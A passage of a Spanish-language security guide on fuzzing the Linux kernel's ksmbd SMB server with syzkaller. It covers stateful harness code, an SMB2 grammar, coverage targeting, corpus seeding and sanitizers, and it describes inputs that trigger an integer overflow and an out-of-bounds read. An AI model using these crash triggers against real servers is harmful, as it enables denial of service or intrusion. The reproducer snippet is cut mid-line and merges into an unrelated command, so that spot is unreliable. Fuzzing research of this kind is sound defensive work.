rendimiento. + +Precaución: Estas relajaciones son solo para facilitar el fuzzing. No despliegues con estas configuraciones en producción. + +--- + +## Arnés con estado: extraer recursos y encadenar peticiones +SMB es stateful: muchas peticiones dependen de identificadores devueltos por respuestas previas (SessionId, TreeID, pares FileID). Tu harness debe parsear las respuestas y reutilizar los IDs dentro del mismo programa para alcanzar handlers profundos (por ejemplo, smb2_create → smb2_ioctl → smb2_close). + +Ejemplo de snippet para procesar un buffer de respuesta (omitiendo los +4B de longitud del NetBIOS PDU) y almacenar en caché los IDs: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +Consejos +- Mantén un único proceso fuzzer compartiendo autenticación/estado: mejor estabilidad y cobertura con las tablas globales/de sesión de ksmbd. syzkaller todavía inyecta concurrencia marcando las ops como async y reejecuta internamente. +- Syzkaller’s experimental reset_acc_state puede restablecer el estado global pero puede provocar una fuerte ralentización. Prefiere la estabilidad y céntrate en el fuzzing en su lugar. + +--- + +## Generación basada en gramática para SMB2 (PDUs válidos) +Convierte las estructuras SMB2 de Microsoft Open Specifications en una gramática para fuzzer para que tu generador produzca PDUs estructuralmente válidos, que lleguen sistemáticamente a los dispatchers y a los IOCTL handlers. + +Ejemplo (SMB2 IOCTL request): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +Este estilo obliga a tamaños/desplazamientos (offsets) correctos de las estructuras y mejora dramáticamente la cobertura frente a la mutación ciega. + +--- + +## Fuzzing dirigido con focus_areas +Usa el focus_areas experimental de syzkaller para asignar mayor peso a funciones/archivos específicos que actualmente tienen cobertura débil. Ejemplo JSON: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +Esto ayuda a construir ACLs válidas que alcanzan las rutas arithmetic/overflow en smbacl.c. Por ejemplo, un Security Descriptor malicioso con un dacloffset sobredimensionado reproduce un integer-overflow. + +Reproducer builder (minimal Python): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +Esto acelera la exploración y puede desencadenar inmediatamente UAFs (p. ej., en ksmbd_sessions_deregister) mientras aumenta la cobertura unos pocos puntos porcentuales. + +--- + +## Sanitizadores: Más allá de KASAN +- KASAN sigue siendo el detector principal para errores en el heap (UAF/OOB). +- KCSAN a menudo produce falsos positivos o data races de baja gravedad en este objetivo. +- UBSAN/KUBSAN puede detectar errores de límites declarados que KASAN pasa por alto debido a la semántica del índice de arrays. Ejemplo: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. + +--- + +## Notas sobre rendimiento y paralelismo +- Un único proceso fuzzer (shared auth/state) tiende a ser significativamente más estable para ksmbd y aún así hace aflorar races/UAFs gracias al async executor interno de syzkaller. +- Con múltiples VMs, aún puedes alcanzar cientos de comandos SMB/segundo en total. Es alcanzable una cobertura a nivel de función de ~60% de fs/smb/server y ~70% de smb2pdu.c, aunque la cobertura de transiciones de estado está infrarepresentada por esas métricas. + +--- + +## Lista de comprobación práctica +- Habilitar durable handles, leases, multi-channel, oplocks y VFS objects en ksmbd. +- Permitir guest y map-to-guest; aceptar NTLMv2. Patch out los credit limits y aumentar max connections para la estabilidad del fuzzer. +- Construir un stateful harness que cachee SessionId/TreeID/FileIDs y encadene create → ioctl → close. +- Usar una grammar para SMB2 PDUs para mantener validez estructural. +- Usar focus_areas para sobreponderar funciones con cobertura débil (p.ej., rutas en smbacl.c como smb_check_perm_dacl). +- Sembrar con ANYBLOB de pcaps reales para romper mesetas; empaquetar seeds con syz-db para reutilización. +- Ejecutar con KASAN + UBSAN; triagear cuidadosamente los informes de declared-bounds de UBSAN. + +--- + +## Referencias +- Doyensec – ksmbd Fuzzing (Parte 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Cambio en el async executor (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- Lectura de fondo: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; notas de syzkaller de Dongliang Mu + +{{#include ../../banners/hacktricks-training.md}}